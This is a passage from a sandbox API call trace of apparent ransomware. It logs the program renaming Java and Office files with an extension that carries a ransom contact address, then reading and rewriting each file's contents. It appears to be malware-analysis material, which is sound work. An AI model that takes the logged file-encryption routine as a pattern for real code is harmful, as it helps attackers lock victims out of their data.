lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd68a8*, lpNumberOfBytesRead=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.172] GetProcessHeap () returned 0x630000 [0112.172] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.173] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.173] WriteFile (in: hFile=0x66c, lpBuffer=0x6fe1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fe1cd8*, lpNumberOfBytesWritten=0x483ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.173] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.173] WriteFile (in: hFile=0x66c, lpBuffer=0x6fed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed0d7*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.173] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.173] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.173] CloseHandle (hObject=0x66c) returned 1 [0112.176] GetProcessHeap () returned 0x630000 [0112.176] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fe1cd8 | out: hHeap=0x630000) returned 1 [0112.178] GetProcessHeap () returned 0x630000 [0112.178] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd68a8 | out: hHeap=0x630000) returned 1 [0112.179] GetProcessHeap () returned 0x630000 [0112.179] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.179] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.179] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8cf6007, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xbac7496, dwReserved1=0x6fd68a0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI4335~1.FIR")) returned 0x6d4e40 [0112.179] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.179] Sleep (dwMilliseconds=0x1) [0113.490] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.554] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.211] Sleep (dwMilliseconds=0x1) [0115.505] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0116.902] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe", len=0x36 | out: pbstr=0x483ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 1 [0116.902] GetProcessHeap () returned 0x630000 [0116.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x24) returned 0x699c48 [0116.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0116.907] CloseHandle (hObject=0x70c) returned 1 [0116.907] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMIREG~1.FIR")) returned 0x6d4e40 [0116.998] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0116.998] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0116.998] GetProcessHeap () returned 0x630000 [0116.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f25fd8 [0116.998] GetProcessHeap () returned 0x630000 [0116.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f2a048 [0116.998] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.998] ReadFile (in: hFile=0x70c, lpBuffer=0x6f25fd8, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f25fd8*, lpNumberOfBytesRead=0x483ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.344] GetProcessHeap () returned 0x630000 [0118.344] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0118.344] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.344] WriteFile (in: hFile=0x70c, lpBuffer=0x6f2a048*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2a048*, lpNumberOfBytesWritten=0x483ff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.344] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.345] WriteFile (in: hFile=0x70c, lpBuffer=0x6f2e087*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2e087*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.345] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.345] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.345] CloseHandle (hObject=0x70c) returned 1 [0118.346] GetProcessHeap () returned 0x630000 [0118.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2a048 | out: hHeap=0x630000) returned 1 [0118.346] GetProcessHeap () returned 0x630000 [0118.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f25fd8 | out: hHeap=0x630000) returned 1 [0118.346] GetProcessHeap () returned 0x630000 [0118.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0118.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc7d68c5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xbac7496, dwReserved1=0x6f25fd0, cFileName="rmiregistry.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RMIREG~1.FIR")) returned 0x6d5400 [0118.346] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0118.347] Sleep (dwMilliseconds=0x1) [0123.255] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x483ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 1 [0123.255] GetProcessHeap () returned 0x630000 [0123.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b0) returned 0x66a3e0 [0123.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0123.256] CloseHandle (hObject=0x5ec) returned 1 [0123.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.256] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.256] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP9E90~1.FIR")) returned 0x6d5400 [0123.257] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0123.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0123.257] GetProcessHeap () returned 0x630000 [0123.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x6868e0 [0123.257] GetProcessHeap () returned 0x630000 [0123.257] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5c1) returned 0x67e1a0 [0123.257] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.257] ReadFile (in: hFile=0x5ec, lpBuffer=0x6868e0, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesRead=0x483ff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0123.353] GetProcessHeap () returned 0x630000 [0123.353] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0123.353] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.353] WriteFile (in: hFile=0x5ec, lpBuffer=0x67e1a0*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67e1a0*, lpNumberOfBytesWritten=0x483ff0c*=0x5a0, lpOverlapped=0x0) returned 1 [0123.354] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.354] WriteFile (in: hFile=0x5ec, lpBuffer=0x67e73f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67e73f*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.354] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.354] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.354] CloseHandle (hObject=0x5ec) returned 1 [0123.363] GetProcessHeap () returned 0x630000 [0123.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67e1a0 | out: hHeap=0x630000) returned 1 [0123.363] GetProcessHeap () returned 0x630000 [0123.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0123.363] GetProcessHeap () returned 0x630000 [0123.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0123.363] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf794f0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5ce, dwReserved0=0xbac7496, dwReserved1=0x6868d8, cFileName="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP9E90~1.FIR")) returned 0x6d4e00 [0123.373] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0123.376] Sleep (dwMilliseconds=0x1) [0124.368] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist", len=0x39 | out: pbstr=0x483ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 1 [0124.368] GetProcessHeap () returned 0x630000 [0124.368] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x128) returned 0x66a3e0 [0124.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.369] CloseHandle (hObject=0x414) returned 1 [0124.369] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.370] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLACKL~2.FIR")) returned 0x6d5200 [0124.370] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0124.370] GetProcessHeap () returned 0x630000 [0124.370] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x727d80 [0124.370] GetProcessHeap () returned 0x630000 [0124.370] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfe1) returned 0x71805a8 [0124.370] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.370] ReadFile (in: hFile=0x414, lpBuffer=0x727d80, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x483ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0124.422] GetProcessHeap () returned 0x630000 [0124.422] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.422] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.422] WriteFile (in: hFile=0x414, lpBuffer=0x71805a8*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71805a8*, lpNumberOfBytesWritten=0x483ff0c*=0xfc0, lpOverlapped=0x0) returned 1 [0124.422] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.423] WriteFile (in: hFile=0x414, lpBuffer=0x7181567*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7181567*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.425] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.425] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.425] CloseHandle (hObject=0x414) returned 1 [0124.426] GetProcessHeap () returned 0x630000 [0124.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71805a8 | out: hHeap=0x630000) returned 1 [0124.426] GetProcessHeap () returned 0x630000 [0124.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0124.426] GetProcessHeap () returned 0x630000 [0124.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.426] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x101b6e7c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xffa, dwReserved0=0xbac7496, dwReserved1=0x727d78, cFileName="blacklist.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLACKL~2.FIR")) returned 0x6d4ec0 [0124.427] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0124.427] Sleep (dwMilliseconds=0x1) [0124.462] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", len=0x2e | out: pbstr=0x483ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 1 [0124.462] GetProcessHeap () returned 0x630000 [0124.462] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xf4) returned 0x66a3e0 [0124.462] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0124.462] CloseHandle (hObject=0x710) returned 1 [0124.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar.id-1998248312_[contact-support@elude.in].firex3m", 